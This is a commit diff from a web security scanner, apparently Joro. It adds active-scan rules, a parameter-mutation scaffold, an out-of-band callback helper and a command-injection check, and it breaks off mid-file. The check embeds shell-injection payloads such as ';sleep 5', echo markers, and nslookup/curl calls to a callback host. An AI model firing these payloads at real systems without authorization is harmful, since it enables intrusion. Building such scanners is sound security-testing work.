mirror of
https://github.com/BishopFox/joro.git
synced 2026-11-07 10:25:57 -10:00
Expanded active scanning with technology fingerprinting, template signatures, and injection detections
This commit is contained in:
1 parent
6e3c834df4
commit
66cbe42207
57 files changed
+217097
-296
No files matched your search
@@ -32,9 +32,11 @@ import (
|
||||
"sort"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/joro/internal/callback"
|
||||
"github.com/BishopFox/joro/internal/cert"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
"github.com/BishopFox/joro/internal/techfp"
|
||||
)
|
||||
|
||||
// Status is a run's state.
|
||||
@@ -89,6 +91,19 @@ type Config struct {
|
||||
// the seam a future rule's Plan refusal hangs on.
|
||||
AllowDestructive bool
|
||||
|
||||
// Tags and Severity narrow which signatures the template rule runs; empty
|
||||
// means no filter. IgnoreFingerprint makes that rule skip fingerprint gating
|
||||
// and run every eligible signature. Only the template-signature rule reads
|
||||
// these; other rules ignore them.
|
||||
Tags []string
|
||||
Severity []string
|
||||
IgnoreFingerprint bool
|
||||
|
||||
// NoOAST opts the injection rules out of out-of-band testing even when a
|
||||
// callback listener is configured. OAST is already disabled when no listener
|
||||
// is configured; this is the operator's explicit opt-out when one is.
|
||||
NoOAST bool
|
||||
|
||||
BudgetMs int
|
||||
}
|
||||
|
||||
@@ -100,6 +115,14 @@ type RuleDeps struct {
|
||||
Store *proxy.Store
|
||||
Scope *proxy.Scope
|
||||
DataDir string
|
||||
// Tech is the passive fingerprint store. The template-signature rule reads it
|
||||
// to run only the checks a host's detected stack warrants; nil disables gating
|
||||
// (every eligible signature runs).
|
||||
Tech *techfp.Store
|
||||
// Callback is the out-of-band (OAST) callback store. The injection rules mint a
|
||||
// token and poll it for blind interactions; nil (or no configured domain)
|
||||
// disables OAST vectors, so they run only when a listener/domain is configured.
|
||||
Callback *callback.Store
|
||||
}
|
||||
|
||||
// Reporter is how a rule reports progress and results back to the run. Both
|
||||
@@ -118,7 +141,10 @@ type Rule interface {
|
||||
ID() string
|
||||
Name() string
|
||||
Category() detect.Category
|
||||
Run(ctx context.Context, t Target, deps RuleDeps, rep Reporter) error
|
||||
// Description explains what the rule does, for the Rules UI. It is the active
|
||||
// counterpart to a passive rule's Description field.
|
||||
Description() string
|
||||
Run(ctx context.Context, t Target, cfg Config, deps RuleDeps, rep Reporter) error
|
||||
}
|
||||
|
||||
// Registry holds the rules a host process offers. It is built and owned by the
|
||||
|
||||
@@ -0,0 +1,91 @@
|
||||
package activescan
|
||||
|
||||
import (
|
||||
"sort"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// CatalogField is one labelled line in an item's read-only detail.
|
||||
type CatalogField struct {
|
||||
Label string `json:"label"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// CatalogItem is one entry in a rule's catalog — a nuclei signature or an injection
|
||||
// check. It carries the common columns plus a free-form Detail list, so the handler
|
||||
// and UI are agnostic to the item kind.
|
||||
type CatalogItem struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Severity string `json:"severity"`
|
||||
Confidence string `json:"confidence,omitempty"`
|
||||
Target string `json:"target,omitempty"`
|
||||
Description string `json:"description,omitempty"`
|
||||
Remediation string `json:"remediation,omitempty"`
|
||||
Enabled bool `json:"enabled"`
|
||||
Detail []CatalogField `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// Cataloger is implemented by a Rule that exposes a catalog of individually
|
||||
// toggleable items (Template signatures, or an injection rule's checks). It is
|
||||
// optional — a single-check rule like DOM XSS does not implement it. The
|
||||
// enable/disable half is satisfied by embedding *DisabledSet.
|
||||
type Cataloger interface {
|
||||
CatalogItems() []CatalogItem
|
||||
IsItemEnabled(id string) bool
|
||||
SetItemEnabled(id string, on bool)
|
||||
DisabledItems() []string
|
||||
SetDisabledItems(ids []string)
|
||||
}
|
||||
|
||||
// DisabledSet is a reusable per-item disabled set (an absent id is enabled),
|
||||
// mirroring the Registry's per-rule model at item granularity. Rules embed it to
|
||||
// get four of the five Cataloger methods for free; it is per-project session state
|
||||
// (applyProjectConfig sets it, buildProjectConfig reads it).
|
||||
type DisabledSet struct {
|
||||
mu sync.RWMutex
|
||||
m map[string]bool
|
||||
}
|
||||
|
||||
// NewDisabledSet returns an empty set (everything enabled).
|
||||
func NewDisabledSet() *DisabledSet { return &DisabledSet{m: map[string]bool{}} }
|
||||
|
||||
// IsItemEnabled reports whether an item runs (absent from the disabled set).
|
||||
func (d *DisabledSet) IsItemEnabled(id string) bool {
|
||||
d.mu.RLock()
|
||||
defer d.mu.RUnlock()
|
||||
return !d.m[id]
|
||||
}
|
||||
|
||||
// SetItemEnabled toggles one item's disabled-state.
|
||||
func (d *DisabledSet) SetItemEnabled(id string, on bool) {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
if on {
|
||||
delete(d.m, id)
|
||||
} else {
|
||||
d.m[id] = true
|
||||
}
|
||||
}
|
||||
|
||||
// DisabledItems returns the disabled ids, sorted — the set the project file persists.
|
||||
func (d *DisabledSet) DisabledItems() []string {
|
||||
d.mu.RLock()
|
||||
defer d.mu.RUnlock()
|
||||
out := make([]string, 0, len(d.m))
|
||||
for id := range d.m {
|
||||
out = append(out, id)
|
||||
}
|
||||
sort.Strings(out)
|
||||
return out
|
||||
}
|
||||
|
||||
// SetDisabledItems replaces the set, for a project restore. A nil slice clears it.
|
||||
func (d *DisabledSet) SetDisabledItems(ids []string) {
|
||||
d.mu.Lock()
|
||||
defer d.mu.Unlock()
|
||||
d.m = make(map[string]bool, len(ids))
|
||||
for _, id := range ids {
|
||||
d.m[id] = true
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
// Package cmdi is the active command-injection rule. It exposes checks for
|
||||
// output-marker, Unix/Windows timing, and out-of-band detection; each appends
|
||||
// shell-metacharacter payloads to a parameter.
|
||||
package cmdi
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/injkit"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
)
|
||||
|
||||
const (
|
||||
ruleID = "cmdi"
|
||||
findingRule = "activescan.cmdi"
|
||||
sleepMs = 5000
|
||||
oastWindow = 12 * time.Second
|
||||
// marker product 73*79=5767: a shell evaluates the arithmetic, while a merely
|
||||
// reflective app echoes the literal "$((73*79))" — so the computed form confirms
|
||||
// execution, not reflection.
|
||||
markerProduct = "5767"
|
||||
)
|
||||
|
||||
var unixTime = []string{`;sleep 5`, `|sleep 5`, `||sleep 5`, `&&sleep 5`, "`sleep 5`", `$(sleep 5)`}
|
||||
var winTime = []string{`& timeout /t 5`, `& ping -n 6 127.0.0.1`}
|
||||
|
||||
func markerSuffixes(nonce string) []string {
|
||||
e := nonce + `$((73*79))`
|
||||
return []string{`;echo ` + e, `|echo ` + e, "`echo " + e + "`", `& echo ` + e}
|
||||
}
|
||||
|
||||
func oastSuffixes(host string) []string {
|
||||
return []string{`;nslookup ` + host, `|nslookup ` + host, `$(nslookup ` + host + `)`, `& nslookup ` + host, `;curl ` + host}
|
||||
}
|
||||
|
||||
var checks = []injkit.Check{
|
||||
{
|
||||
ID: "output", Name: "Output marker", Severity: detect.SeverityCritical,
|
||||
Description: "Appends an echo of a shell-arithmetic marker; the computed result in the response confirms execution (not mere reflection).",
|
||||
Payloads: []string{`;echo <marker>$((73*79))`, `|echo …`, "`echo …`", `& echo …`},
|
||||
Probe: outputMarker,
|
||||
},
|
||||
{
|
||||
ID: "time-unix", Name: "Time-based (Unix)", Severity: detect.SeverityCritical,
|
||||
Description: "Appends a Unix sleep and confirms a delayed response twice.",
|
||||
Payloads: unixTime,
|
||||
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, unixTime) },
|
||||
},
|
||||
{
|
||||
ID: "time-windows", Name: "Time-based (Windows)", Severity: detect.SeverityCritical,
|
||||
Description: "Appends a Windows timeout/ping delay and confirms a delayed response twice.",
|
||||
Payloads: winTime,
|
||||
Probe: func(pc injkit.ProbeCtx) { timeBased(pc, winTime) },
|
||||
},
|
||||
{
|
||||
ID: "oast", Name: "Out-of-band", Severity: detect.SeverityCritical,
|
||||
Description: "Appends nslookup/curl to the callback host and polls the listener for an interaction.",
|
||||
Payloads: []string{`;nslookup <callback>`, `$(nslookup <callback>)`, `;curl <callback>`},
|
||||
RequiresOAST: true,
|
||||
Probe: oastBased,
|
||||
},
|
||||
}
|
||||
|
||||
type Rule struct{ *activescan.DisabledSet }
|
||||
|
||||
func New() *Rule { return &Rule{activescan.NewDisabledSet()} }
|
||||
|
||||
func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "Command injection" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryCommandInjection }
|
||||
func (*Rule) Description() string {
|
||||
return "Appends shell-metacharacter payloads (echo marker, sleep/timeout, and — when a " +
|
||||
"callback listener is configured — nslookup/curl) to each parameter, confirming via an " +
|
||||
"evaluated marker, a timing delay, or an out-of-band callback."
|
||||
}
|
||||
|
||||
func (r *Rule) CatalogItems() []activescan.CatalogItem {
|
||||
return injkit.Catalog(checks, r.DisabledSet, false)
|
||||
}
|
||||
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, cfg activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
injkit.RunChecks(ctx, t, cfg, deps, rep, checks, r.DisabledSet, findingRule, detect.CategoryCommandInjection, "Command injection")
|
||||
return nil
|
||||
}
|
||||
|
||||
func outputMarker(pc injkit.ProbeCtx) {
|
||||
nonce := "joro" + randHex(5)
|
||||
for _, s := range markerSuffixes(nonce) {
|
||||
if res := pc.Inject(s, true); res != nil && strings.Contains(string(res.Resp.Body), nonce+markerProduct) {
|
||||
pc.File(detect.SeverityCritical, "output-based command injection in "+pc.Point.Name, "injected "+s+" and the shell-evaluated marker was echoed", res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func timeBased(pc injkit.ProbeCtx, suffixes []string) {
|
||||
for _, s := range suffixes {
|
||||
res := pc.Inject(s, true)
|
||||
if res == nil || !injkit.LooksDelayed(res.DurationMs, pc.Base.FloorMs, sleepMs) {
|
||||
continue
|
||||
}
|
||||
if res2 := pc.Inject(s, true); res2 != nil && injkit.LooksDelayed(res2.DurationMs, pc.Base.FloorMs, sleepMs) {
|
||||
pc.File(detect.SeverityCritical, "time-based blind command injection in "+pc.Point.Name, "injecting "+s+" delayed the response twice (~5s over baseline)", res.URL)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func oastBased(pc injkit.ProbeCtx) {
|
||||
if pc.OAST == nil {
|
||||
return
|
||||
}
|
||||
tokenID, host, err := pc.OAST.Token("cmdi")
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
for _, s := range oastSuffixes(host) {
|
||||
pc.Inject(s, true)
|
||||
}
|
||||
if pc.OAST.Fired(pc.Ctx, tokenID, oastWindow) {
|
||||
pc.File(detect.SeverityCritical, "out-of-band command injection in "+pc.Point.Name, "an injected command triggered a callback to "+host, pc.Base.URL)
|
||||
}
|
||||
}
|
||||
|
||||
func randHex(n int) string {
|
||||
b := make([]byte, n)
|
||||
_, _ = rand.Read(b)
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
@@ -56,6 +56,15 @@ func (*Rule) ID() string { return ruleID }
|
||||
func (*Rule) Name() string { return "DOM-based XSS" }
|
||||
func (*Rule) Category() detect.Category { return detect.CategoryDOMXSS }
|
||||
|
||||
func (*Rule) Description() string {
|
||||
return "Drives a dedicated headless Chromium through Joro's proxy and plants per-source " +
|
||||
"canaries in the URL fragment, a query value, and window.name, then reports when the " +
|
||||
"page's own JavaScript carries one into a dangerous sink (innerHTML, document.write, " +
|
||||
"eval, setTimeout, location, and similar). Injection is over CDP before page load, so " +
|
||||
"it is unaffected by CSP, and the canary never reaches the server — the flow is " +
|
||||
"confirmed in the browser."
|
||||
}
|
||||
|
||||
// hit is one sink report from the injected monitor.
|
||||
type hit struct {
|
||||
Sink string `json:"sink"`
|
||||
@@ -90,7 +99,7 @@ func (c *collector) drain() []hit {
|
||||
|
||||
// Run launches a dedicated headless browser, injects the monitor, and navigates
|
||||
// each target URL with canaries, reporting confirmed flows.
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
func (r *Rule) Run(ctx context.Context, t activescan.Target, _ activescan.Config, deps activescan.RuleDeps, rep activescan.Reporter) error {
|
||||
if deps.CA == nil {
|
||||
return fmt.Errorf("no CA available for the scan browser")
|
||||
}
|
||||
@@ -157,6 +166,12 @@ func (r *Rule) Run(ctx context.Context, t activescan.Target, deps activescan.Rul
|
||||
if ctx.Err() != nil {
|
||||
return ctx.Err()
|
||||
}
|
||||
// Only GET endpoints are navigable pages; a host target now also carries
|
||||
// non-GET parametric requests for the injection rules, which this rule skips.
|
||||
if tu.Method != "" && !strings.EqualFold(tu.Method, "GET") {
|
||||
rep.Progress(1)
|
||||
continue
|
||||
}
|
||||
scanURL(ctx, client, col, loadCh, t.Host, tu.URL, rep)
|
||||
rep.Progress(1)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
package inject
|
||||
|
||||
import "context"
|
||||
|
||||
// Drive iterates every parameter of every request, calling probe with the point
|
||||
// and that request's baseline. It handles enumeration, per-request baselining,
|
||||
// cancellation, and progress (one tick per request, matching the run's URL-based
|
||||
// total). Finding-reporting stays in probe (this package does not import
|
||||
// activescan), which is why probe takes no reporter.
|
||||
func Drive(ctx context.Context, reqs [][]byte, s *Sender, progress func(delta int), probe func(ctx context.Context, p Point, base *Baseline)) {
|
||||
for _, raw := range reqs {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
base, err := s.Baseline(ctx, raw)
|
||||
if err != nil {
|
||||
if progress != nil {
|
||||
progress(1)
|
||||
}
|
||||
continue
|
||||
}
|
||||
for _, p := range Enumerate(raw) {
|
||||
if ctx.Err() != nil {
|
||||
return
|
||||
}
|
||||
probe(ctx, p, base)
|
||||
}
|
||||
if progress != nil {
|
||||
progress(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,261 @@
|
||||
// Package inject is the shared scaffold for the active injection-scanning rules
|
||||
// (reflected XSS, SQLi, SSTI, command injection, open redirect, path traversal).
|
||||
// It enumerates a request's injectable parameters, mutates one with a payload,
|
||||
// sends the result through Joro's proxy, and exposes baseline/differential/timing
|
||||
// and OAST helpers — so each rule is just a payload set plus a detector.
|
||||
//
|
||||
// Enumeration reuses internal/echo (the one parameter walker in the repo);
|
||||
// mutation is name-aware per source (query/form/json/path) rather than relying on
|
||||
// byte offsets, which echo computes only best-effort.
|
||||
package inject
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/echo"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// Point is an injectable parameter. It aliases echo.Value so rules speak echo's
|
||||
// vocabulary (Source, Name, Value) without re-deriving it.
|
||||
type Point = echo.Value
|
||||
|
||||
// Enumerate returns the injectable parameters of a raw request: query, path, form
|
||||
// and JSON-body values. Headers, cookies and multipart parts are deliberately
|
||||
// excluded to bound scan volume to the parameters that carry most injection.
|
||||
func Enumerate(raw []byte) []Point {
|
||||
if len(raw) == 0 {
|
||||
return nil
|
||||
}
|
||||
// detect.Parse derives the URL/host/content-type from the CapturedRequest's
|
||||
// fields, not the raw request line, so reconstruct them from the bytes.
|
||||
host := headerValue(raw, "Host")
|
||||
cr := &proxy.CapturedRequest{
|
||||
ReqRaw: raw,
|
||||
Host: host,
|
||||
URL: reconstructURL(raw, host),
|
||||
ContentType: headerValue(raw, "Content-Type"),
|
||||
}
|
||||
cfg := echo.DefaultConfig()
|
||||
cfg.ScanHeaders = false // skip headers/cookies for injection fuzzing
|
||||
vals := echo.Walk(detect.Parse(cr, echo.ParseConfig(cfg)), cfg)
|
||||
out := vals[:0:0]
|
||||
for _, v := range vals {
|
||||
switch v.Source {
|
||||
case echo.SourceQuery, echo.SourcePath, echo.SourceForm, echo.SourceJSON:
|
||||
out = append(out, v)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Mutate produces a copy of raw with point p's value set to payload (or, when
|
||||
// appendMode, the original value followed by payload). Content-Length is
|
||||
// recomputed. An unsupported source returns an error so the caller skips the point.
|
||||
func Mutate(raw []byte, p Point, payload string, appendMode bool) ([]byte, error) {
|
||||
value := payload
|
||||
if appendMode {
|
||||
value = p.Value + payload
|
||||
}
|
||||
var out []byte
|
||||
var err error
|
||||
switch p.Source {
|
||||
case echo.SourceQuery:
|
||||
out, err = httptools.ApplyEdits(raw, []httptools.Edit{{Op: "setQuery", Name: p.Name, Value: value}})
|
||||
case echo.SourcePath:
|
||||
out, err = setPathSegment(raw, p.Name, value)
|
||||
case echo.SourceForm:
|
||||
out, err = setFormField(raw, p.Name, value)
|
||||
case echo.SourceJSON:
|
||||
out, err = setJSONField(raw, p.Name, value)
|
||||
default:
|
||||
return nil, fmt.Errorf("inject: unsupported source %q", p.Source)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return httptools.UpdateContentLength(out), nil
|
||||
}
|
||||
|
||||
// splitRequest separates the header block (through the blank line) from the body.
|
||||
func splitRequest(raw []byte) (head, body []byte) {
|
||||
if i := strings.Index(string(raw), "\r\n\r\n"); i >= 0 {
|
||||
return raw[:i+4], raw[i+4:]
|
||||
}
|
||||
if i := strings.Index(string(raw), "\n\n"); i >= 0 {
|
||||
return raw[:i+2], raw[i+2:]
|
||||
}
|
||||
return raw, nil
|
||||
}
|
||||
|
||||
// setFormField re-encodes a urlencoded body with one field changed.
|
||||
func setFormField(raw []byte, name, value string) ([]byte, error) {
|
||||
head, body := splitRequest(raw)
|
||||
vals, err := url.ParseQuery(string(body))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
vals.Set(name, value)
|
||||
return append(append([]byte(nil), head...), []byte(vals.Encode())...), nil
|
||||
}
|
||||
|
||||
// setPathSegment replaces the i-th path segment (echo names path values "[i]").
|
||||
func setPathSegment(raw []byte, name, value string) ([]byte, error) {
|
||||
idx, err := strconv.Atoi(strings.Trim(name, "[]"))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("inject: bad path index %q", name)
|
||||
}
|
||||
line, rest, ok := firstLine(raw)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("inject: no request line")
|
||||
}
|
||||
method, target, version, ok := splitRequestLine(line)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("inject: bad request line")
|
||||
}
|
||||
path, query := target, ""
|
||||
if q := strings.IndexByte(target, '?'); q >= 0 {
|
||||
path, query = target[:q], target[q:]
|
||||
}
|
||||
segs := strings.Split(path, "/") // leading "" from the leading slash
|
||||
seg := idx + 1 // echo indexes segments after the leading slash
|
||||
if seg <= 0 || seg >= len(segs) {
|
||||
return nil, fmt.Errorf("inject: path index %d out of range", idx)
|
||||
}
|
||||
segs[seg] = url.PathEscape(value)
|
||||
newLine := method + " " + strings.Join(segs, "/") + query + " " + version
|
||||
return append([]byte(newLine), rest...), nil
|
||||
}
|
||||
|
||||
// setJSONField sets a leaf addressed by a dotted path with [i] indices.
|
||||
func setJSONField(raw []byte, path, value string) ([]byte, error) {
|
||||
head, body := splitRequest(raw)
|
||||
var doc any
|
||||
if err := json.Unmarshal(body, &doc); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := setJSONPath(&doc, splitJSONPath(path), value); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nb, err := json.Marshal(doc)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return append(append([]byte(nil), head...), nb...), nil
|
||||
}
|
||||
|
||||
// splitJSONPath breaks "a.b[0].c" into ["a","b","0","c"].
|
||||
func splitJSONPath(p string) []string {
|
||||
var out []string
|
||||
for _, part := range strings.Split(p, ".") {
|
||||
for {
|
||||
b := strings.IndexByte(part, '[')
|
||||
if b < 0 {
|
||||
if part != "" {
|
||||
out = append(out, part)
|
||||
}
|
||||
break
|
||||
}
|
||||
if b > 0 {
|
||||
out = append(out, part[:b])
|
||||
}
|
||||
e := strings.IndexByte(part, ']')
|
||||
if e < 0 {
|
||||
break
|
||||
}
|
||||
out = append(out, part[b+1:e])
|
||||
part = part[e+1:]
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// setJSONPath walks segs into the decoded doc and sets the leaf to value (as a
|
||||
// string, matching how the application most commonly receives injected input).
|
||||
func setJSONPath(doc *any, segs []string, value string) error {
|
||||
if len(segs) == 0 {
|
||||
*doc = value
|
||||
return nil
|
||||
}
|
||||
seg := segs[0]
|
||||
switch node := (*doc).(type) {
|
||||
case map[string]any:
|
||||
child := node[seg]
|
||||
if err := setJSONPath(&child, segs[1:], value); err != nil {
|
||||
return err
|
||||
}
|
||||
node[seg] = child
|
||||
return nil
|
||||
case []any:
|
||||
i, err := strconv.Atoi(seg)
|
||||
if err != nil || i < 0 || i >= len(node) {
|
||||
return fmt.Errorf("inject: bad json index %q", seg)
|
||||
}
|
||||
child := node[i]
|
||||
if err := setJSONPath(&child, segs[1:], value); err != nil {
|
||||
return err
|
||||
}
|
||||
node[i] = child
|
||||
return nil
|
||||
default:
|
||||
return fmt.Errorf("inject: json path does not resolve at %q", seg)
|
||||
}
|
||||
}
|
||||
|
||||
// reconstructURL builds an absolute URL from the request line's target and the Host
|
||||
// header, so detect.Parse can extract the path and query. The scheme is irrelevant
|
||||
// to parameter enumeration.
|
||||
func reconstructURL(raw []byte, host string) string {
|
||||
line, _, ok := firstLine(raw)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
_, target, _, ok := splitRequestLine(line)
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
if host == "" {
|
||||
host = "placeholder"
|
||||
}
|
||||
if strings.HasPrefix(target, "http://") || strings.HasPrefix(target, "https://") {
|
||||
return target
|
||||
}
|
||||
return "http://" + host + target
|
||||
}
|
||||
|
||||
// headerValue returns the first value of header name (case-insensitive) from the
|
||||
// request's header block.
|
||||
func headerValue(raw []byte, name string) string {
|
||||
head, _ := splitRequest(raw)
|
||||
lower := strings.ToLower(name) + ":"
|
||||
for _, ln := range strings.Split(string(head), "\n") {
|
||||
ln = strings.TrimRight(ln, "\r")
|
||||
if strings.HasPrefix(strings.ToLower(ln), lower) {
|
||||
return strings.TrimSpace(ln[len(lower):])
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func firstLine(raw []byte) (line string, rest []byte, ok bool) {
|
||||
i := strings.IndexByte(string(raw), '\n')
|
||||
if i < 0 {
|
||||
return "", nil, false
|
||||
}
|
||||
line = strings.TrimRight(string(raw[:i]), "\r")
|
||||
return line, raw[i:], true
|
||||
}
|
||||
|
||||
func splitRequestLine(line string) (method, target, version string, ok bool) {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) != 3 {
|
||||
return "", "", "", false
|
||||
}
|
||||
return parts[0], parts[1], parts[2], true
|
||||
}
|
||||
@@ -0,0 +1,66 @@
|
||||
package inject
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/callback"
|
||||
)
|
||||
|
||||
// OASTAvailable reports whether out-of-band testing can run: a callback store with
|
||||
// a configured domain. When false, rules skip their OAST vectors rather than emit a
|
||||
// payload to an unresolvable domain — OAST is disabled unless a listener/team
|
||||
// server provides a callback domain.
|
||||
func OASTAvailable(store *callback.Store) bool {
|
||||
if store == nil {
|
||||
return false
|
||||
}
|
||||
cfg, err := store.GetConfig()
|
||||
return err == nil && cfg != nil && cfg.Domain != ""
|
||||
}
|
||||
|
||||
// OAST mints callback tokens and polls for interactions, for blind detection.
|
||||
type OAST struct {
|
||||
store *callback.Store
|
||||
domain string
|
||||
}
|
||||
|
||||
// NewOAST returns an OAST helper, or nil when OAST is unavailable (caller skips).
|
||||
func NewOAST(store *callback.Store) *OAST {
|
||||
if !OASTAvailable(store) {
|
||||
return nil
|
||||
}
|
||||
cfg, _ := store.GetConfig()
|
||||
return &OAST{store: store, domain: cfg.Domain}
|
||||
}
|
||||
|
||||
// Token mints a correlation token and returns it with the callback hostname to
|
||||
// weave into a payload (`<token>.<domain>`).
|
||||
func (o *OAST) Token(note string) (tokenID, host string, err error) {
|
||||
tok, err := callback.GenerateToken(o.store, note)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
return tok.ID, tok.Token + "." + o.domain, nil
|
||||
}
|
||||
|
||||
// Fired polls the callback store until an interaction for tokenID appears or the
|
||||
// window elapses, respecting ctx. It returns true on the first hit.
|
||||
func (o *OAST) Fired(ctx context.Context, tokenID string, window time.Duration) bool {
|
||||
deadline := time.Now().Add(window)
|
||||
ticker := time.NewTicker(1 * time.Second)
|
||||
defer ticker.Stop()
|
||||
for {
|
||||
if items, _, err := o.store.ListInteractions(tokenID, 0, 1); err == nil && len(items) > 0 {
|
||||
return true
|
||||
}
|
||||
if time.Now().After(deadline) {
|
||||
return false
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
case <-ticker.C:
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
package inject
|
||||
|
||||
import (
|
||||
"context"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
||||
|
||||
// maxRespBytes is the response body an injection detector needs — enough to match
|
||||
// an error string, a rendered expression, or file contents.
|
||||
const maxRespBytes = 1 << 20
|
||||
|
||||
// Sender sends mutated requests through Joro's proxy and fingerprints the result.
|
||||
// It takes httptools.SendDeps directly (not activescan.RuleDeps) so this package
|
||||
// does not import activescan — the rules build SendDeps from their RuleDeps.
|
||||
type Sender struct {
|
||||
deps httptools.SendDeps
|
||||
scheme string
|
||||
host string
|
||||
timeout time.Duration
|
||||
}
|
||||
|
||||
// NewSender wires a sender for one target host.
|
||||
func NewSender(deps httptools.SendDeps, scheme, host string, timeout time.Duration) *Sender {
|
||||
if deps.MaxRespBytes == 0 {
|
||||
deps.MaxRespBytes = maxRespBytes
|
||||
}
|
||||
return &Sender{deps: deps, scheme: scheme, host: host, timeout: timeout}
|
||||
}
|
||||
|
||||
// Result is one send's outcome: the raw and parsed response, status, wall-clock
|
||||
// duration, and a structural fingerprint for differential comparison.
|
||||
type Result struct {
|
||||
RawReq []byte
|
||||
RespRaw []byte
|
||||
Resp httptools.Response
|
||||
Status int
|
||||
DurationMs int64
|
||||
Fingerprint httptools.Fingerprint
|
||||
URL string
|
||||
Method string
|
||||
}
|
||||
|
||||
// Send sends one raw request and returns the fingerprinted result.
|
||||
func (s *Sender) Send(ctx context.Context, raw []byte) (*Result, error) {
|
||||
reqCtx, cancel := context.WithTimeout(ctx, s.timeout)
|
||||
defer cancel()
|
||||
sent, err := httptools.SendViaProxy(reqCtx, raw, s.scheme, s.host, s.deps)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &Result{
|
||||
RawReq: raw,
|
||||
RespRaw: sent.RespRaw,
|
||||
Resp: httptools.ReadResponse(sent.RespRaw),
|
||||
Status: sent.StatusCode,
|
||||
DurationMs: sent.Duration.Milliseconds(),
|
||||
Fingerprint: httptools.FingerprintResponse(sent.Seq, sent.RespRaw, sent.Duration.Milliseconds(), false),
|
||||
URL: sent.URL,
|
||||
Method: sent.Method,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// Baseline is the unmodified request's response plus a timing floor used to judge
|
||||
// time-based injections.
|
||||
type Baseline struct {
|
||||
Result
|
||||
// FloorMs is the smaller of two baseline round-trips — a jitter-resistant
|
||||
// estimate of the endpoint's normal latency.
|
||||
FloorMs int64
|
||||
}
|
||||
|
||||
// Baseline sends the original request twice and records the structural fingerprint
|
||||
// plus the latency floor.
|
||||
func (s *Sender) Baseline(ctx context.Context, raw []byte) (*Baseline, error) {
|
||||
r1, err := s.Send(ctx, raw)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
floor := r1.DurationMs
|
||||
if r2, err := s.Send(ctx, raw); err == nil && r2.DurationMs < floor {
|
||||
floor = r2.DurationMs
|
||||
}
|
||||
return &Baseline{Result: *r1, FloorMs: floor}, nil
|
||||
}
|
||||
|
||||
// SameStructure reports whether two responses are the same page ignoring volatile
|
||||
// content (nonces, timestamps) — the boolean oracle for boolean-based SQLi.
|
||||
func SameStructure(a, b httptools.Fingerprint) bool { return a.StructHash == b.StructHash }
|
||||
|
||||
// LooksDelayed reports whether elapsed indicates an injected delay of at least
|
||||
// delayMs relative to the baseline floor. The 0.8 factor tolerates the payload
|
||||
// running slightly short while rejecting ordinary jitter.
|
||||
func LooksDelayed(elapsedMs, floorMs, delayMs int64) bool {
|
||||
return elapsedMs-floorMs >= delayMs*8/10
|
||||
}
|
||||
@@ -0,0 +1,127 @@
|
||||
package injkit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
"github.com/BishopFox/joro/internal/activescan"
|
||||
"github.com/BishopFox/joro/internal/activescan/inject"
|
||||
"github.com/BishopFox/joro/internal/detect"
|
||||
"github.com/BishopFox/joro/internal/httptools"
|
||||
)
|
